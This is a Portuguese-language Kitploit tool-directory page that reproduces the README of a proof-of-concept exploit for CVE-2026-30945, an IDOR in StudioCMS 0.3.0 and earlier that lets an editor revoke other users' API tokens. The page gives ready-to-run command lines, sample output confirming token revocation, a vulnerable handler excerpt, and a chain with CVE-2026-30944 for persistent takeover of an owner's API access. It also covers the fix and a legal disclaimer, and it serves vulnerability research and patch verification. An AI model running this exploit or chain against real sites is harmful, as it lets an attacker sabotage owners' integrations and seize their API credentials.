Skip to content
KitploitKITPLOIT
FerramentasBlog
Enviar
FerramentasBlog
Enviar

Ferramentas de Hacking, PenTest e Cibersegurança para o seu Arsenal de Segurança!

Kitploit é um diretório de ferramentas de hacking, cibersegurança e pentesting. Descubra as últimas atualizações de projetos para encontrar vulnerabilidades, analisar sistemas, automatizar testes e fortalecer sua segurança.

··Feeds·Contato·Privacidade·© 2026 Kitploit

Diretório de Ferramentas

Categorias

Ver todas as categorias
Loading categories
CVE-2026-30945-PoC — Prova de conceito de exploit para CVE-2026-30945, um IDOR no StudioCMS que permite revogação arbitrária de tokens de API e negação de serviço. Inclui modos de teste manual e automatizado. | Kitploit
Ferramentas/GitHubGitHub/filipegaudard/cve-2026-30945-poc
Análise de VulnerabilidadesExploraçãoExploração de Aplicações WebTestes de PenetraçãoAprendizado e EducaçãoSegurança de API
GitHubfilipegaudard/cve-2026-30945-poc

CVE-2026-30945-PoC

Prova de conceito de exploit para CVE-2026-30945, um IDOR no StudioCMS que permite revogação arbitrária de tokens de API e negação de serviço. Inclui modos de teste manual e automatizado.

Ver Repositório
há 5 mesesAinda não revisado

Mais Populares

Ver todos →

Descubra as ferramentas mais usadas pela nossa comunidade.

Explore todas as ferramentas

Navegue pela nossa coleção de ferramentas

Ver todas as ferramentas →
Compartilhar

🗑️ CVE-2026-30945

StudioCMS IDOR — Revogação Arbitrária de Tokens de API Levando a Negação de Serviço

CVE CVSS CWE Type

NVD • Advisory • CWE-639


Visão Geral

O endpoint DELETE /studiocms_api/dashboard/api-tokens no StudioCMS ≤ 0.3.0 permite que qualquer usuário autenticado com privilégios de editor ou superiores revogue tokens de API pertencentes a qualquer outro usuário, incluindo contas admin e .

owner

O handler aceita tokenID e userID diretamente do payload da requisição sem verificar a propriedade do token, a identidade do chamador ou a hierarquia de papéis. Isso possibilita negação de serviço direcionada contra integrações e automações críticas.

Relacionado: Esta vulnerabilidade compartilha a mesma causa raiz do CVE-2026-30944 (IDOR de geração de tokens). Quando encadeadas, um atacante pode revogar tokens legítimos e gerar novos, alcançando a tomada completa das credenciais de API.

Fluxo do Ataque

root@kitploit:~
┌──────────────┐   DELETE /api-tokens        ┌──────────────┐
│              │  {"tokenID":"<id>",          │              │
│   Atacante   │   "userID":"<owner-id>"}     │  StudioCMS   │
│   (Editor)   │ ──────────────────────────► │   Servidor   │
│              │                              │              │
│              │ ◄────────────────────────── │              │
└──────────────┘  {"message":"Token deleted"} └──────────────┘
                                                     │
                                                     ▼
                                              ┌──────────────┐
                                              │  Pipeline    │
                                              │  CI/CD do    │
                                              │  Owner       │──► ❌ 401 Não Autorizado
                                              │  Integração  │──► ❌ Acesso à API Perdido
                                              │  Monitoramento│──► ❌ Falha Silenciosa
                                              └──────────────┘

Detalhes da Vulnerabilidade

CampoValor
CVECVE-2026-30945
GHSAGHSA-8rgj-vrfr-6hqr
CVSS v3.17.1 (Alta) — AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:H
CWECWE-639: Bypass de Autorização Através de Chave Controlada pelo Usuário
CWE (secundária)CWE-863: Autorização Incorreta
MITRE ATT&CKT1531 — Remoção de Acesso à Conta
OWASP APIAPI1:2023 — Autorização de Nível de Objeto Quebrada
Afetadostudiocms ≤ 0.3.0
Corrigido emstudiocms 0.4.0

Conteúdo

ArquivoDescrição
cve_2026_30945_poc.pyScript de exploração em Python com modos manual e automatizado
README.mdEste arquivo
LICENSELicença MIT

Pré-requisitos

  • StudioCMS ≤ 0.3.0 (versão vulnerável)
  • Python 3.8+
  • Credenciais válidas para pelo menos uma conta Editor
  • Um UUID de registro de token conhecido (ID interno, não o JWT)
root@kitploit:~
pip install requests colorama

Início Rápido

Exploração Manual

root@kitploit:~
# Revogar um token específico pertencente ao owner
python3 cve_2026_30945_poc.py \
  -u http://localhost:4321 \
  --username editor01 \
  --password editorpass \
  --target-uuid 2450bf33-0135-4142-80be-9854f9a5e9f1 \
  --token-id 16a2e549-513b-40ac-8ca3-858af6118afc

# Encadear com CVE-2026-30944: criar um token para o alvo primeiro
python3 cve_2026_30945_poc.py \
  -u http://localhost:4321 \
  --username editor01 \
  --password editorpass \
  --target-uuid 2450bf33-0135-4142-80be-9854f9a5e9f1

# Salvar resultados em JSON
python3 cve_2026_30945_poc.py \
  -u http://localhost:4321 \
  --username editor01 \
  --password editorpass \
  --target-uuid 2450bf33-0135-4142-80be-9854f9a5e9f1 \
  --token-id 16a2e549-513b-40ac-8ca3-858af6118afc \
  --save

Teste Automatizado

root@kitploit:~
# Testar com múltiplos papéis
python3 cve_2026_30945_poc.py \
  -u http://localhost:4321 \
  --auto-test \
  --editor-user editor01 \
  --editor-pass editorpass \
  --visitor-user visitor01 \
  --visitor-pass visitorpass \
  --target-uuid 2450bf33-0135-4142-80be-9854f9a5e9f1 \
  --token-id 16a2e549-513b-40ac-8ca3-858af6118afc

Argumentos

Obrigatórios

ArgumentoDescrição
-u, --urlURL base do StudioCMS alvo
--target-uuidUUID do usuário alvo cujo token será revogado

Opcionais

ArgumentoDescrição
--token-idUUID interno do registro do token a ser revogado (não o JWT). Se omitido, o script tentará criar um token primeiro via CVE-2026-30944

Modo Manual

ArgumentoDescrição
--usernameNome de usuário para autenticação
--passwordSenha para autenticação

Modo de Teste Automatizado

ArgumentoDescrição
--auto-testAtivar teste automatizado com múltiplos papéis
--editor-userNome de usuário da conta Editor
--editor-passSenha da conta Editor
--visitor-userNome de usuário da conta Visitante
--visitor-passSenha da conta Visitante

Flags

ArgumentoDescrição
--saveSalvar resultados em arquivo JSON
--no-ssl-verifyDesativar verificação de certificado SSL

Exemplo de Saída

Sistema Vulnerável

root@kitploit:~
  ──────────────────────────────────────────────────────────
  FASE 1: Autenticação
  ──────────────────────────────────────────────────────────
  [+] Autenticado como 'editor01'
  [*] Usuário da sessão: editor01 (editor)
  [*] UUID da sessão: 39b3e7d3-5eb0-48e1-abdc-ce95a57b212c

  ──────────────────────────────────────────────────────────
  FASE 3: Revogação de Token (IDOR)
  ──────────────────────────────────────────────────────────
  [*] UUID alvo: 2450bf33-0135-4142-80be-9854f9a5e9f1
  [*] ID do token:    16a2e549-513b-40ac-8ca3-858af6118afc
  [*] Revogando token de API do alvo...
  [+] Token revogado! Resposta do servidor: Token deleted
  [!] VULNERABILIDADE CONFIRMADA — Token revogado com sucesso!
  [!] As integrações de API do usuário alvo agora estão quebradas (DoS)

Sistema Corrigido

root@kitploit:~
  ──────────────────────────────────────────────────────────
  FASE 3: Revogação de Token (IDOR)
  ──────────────────────────────────────────────────────────
  [*] UUID alvo: 2450bf33-0135-4142-80be-9854f9a5e9f1
  [*] ID do token:    16a2e549-513b-40ac-8ca3-858af6118afc
  [*] Revogando token de API do alvo...
  [*] Acesso negado (403 Forbidden) — o endpoint pode estar corrigido
  [-] Falha na revogação: Acesso negado (403 Forbidden)

Cadeia de Ataque (CVE-2026-30944 + CVE-2026-30945)

Quando combinado com o IDOR de geração de tokens (CVE-2026-30944), um atacante pode realizar a tomada completa das credenciais de API:

root@kitploit:~
Passo 1: Revogar o token legítimo do owner    (CVE-2026-30945)
   └──► Os pipelines CI/CD do owner quebram silenciosamente

Passo 2: Gerar novo token para o owner        (CVE-2026-30944)
   └──► O atacante agora tem acesso de API em nível de owner

Passo 3: O owner cria um novo token para corrigir
   └──► O atacante o revoga novamente (DoS persistente)

Isso cria um cenário em que o atacante mantém controle persistente sobre o acesso de API do owner, revogando repetidamente qualquer novo token que o owner crie enquanto mantém seu próprio acesso ilegítimo.


Causa Raiz

O handler vulnerável em packages/studiocms/frontend/pages/studiocms_api/dashboard/api-tokens.ts (linhas 58–99) aceita tokenID e userID do corpo da requisição e os passa diretamente para a função de exclusão sem qualquer verificação de autorização:

root@kitploit:~
// [1] Apenas verifica se o chamador é editor — não PARA QUEM ele está revogando tokens
const isAuthorized = ctx.locals.StudioCMS.security?.userPermissionLevel.isEditor;

// [2] Ambos os valores do corpo da requisição — sem validação contra a sessão
const jsonData = yield* readAPIContextJson<{
    tokenID: string;    // Sem verificação de propriedade
    userID: string;     // Sem verificação de identidade
}>(ctx);

// [3] Passado diretamente para operação destrutiva — IDOR
yield* sdk.REST_API.tokens.delete({ tokenId: jsonData.tokenID, userId: jsonData.userID });

O handler possui cinco falhas distintas: porta de permissão insuficiente, sem validação de propriedade do token, verificação de identidade do chamador ausente, sem aplicação de hierarquia de papéis e passagem direta de valores controlados pelo usuário para uma operação destrutiva.


Impacto

  • Negação de Serviço — Tokens de API usados em pipelines CI/CD, integrações de terceiros ou sistemas de monitoramento podem ser revogados silenciosamente
  • Sabotagem seletiva — Um editor pode revogar cirurgicamente tokens de administradores ou owners específicos
  • Sem trilha de auditoria — A revogação é processada como uma operação legítima, dificultando a atribuição
  • DoS persistente quando encadeado — Combinado com CVE-2026-30944, o atacante pode revogar repetidamente qualquer novo token que a vítima criar

Mitigação

Atualize o StudioCMS para a versão 0.4.0 ou posterior:

root@kitploit:~
npm install studiocms@latest

Aviso Legal

Esta ferramenta é fornecida apenas para fins educacionais e de teste de segurança autorizado.

  • Use apenas contra sistemas que você possui ou para os quais tenha permissão escrita explícita para testar
  • O acesso não autorizado a sistemas de computador é ilegal na maioria das jurisdições
  • O autor não assume nenhuma responsabilidade pelo uso indevido desta ferramenta
  • Sempre siga práticas de divulgação responsável

Referências

  • CVE: CVE-2026-30945
  • Advisory: GHSA-8rgj-vrfr-6hqr
  • CVE relacionado: CVE-2026-30944 (IDOR de geração de tokens)
  • CWE: CWE-639 — Bypass de Autorização Através de Chave Controlada pelo Usuário
  • OWASP: API1:2023 — Autorização de Nível de Objeto Quebrada
  • MITRE ATT&CK: T1531 — Remoção de Acesso à Conta

Autor

Filipe Gaudard


Licença

Este PoC é lançado sob a Licença MIT para fins educacionais. Use com responsabilidade e ética.

Baixar ferramenta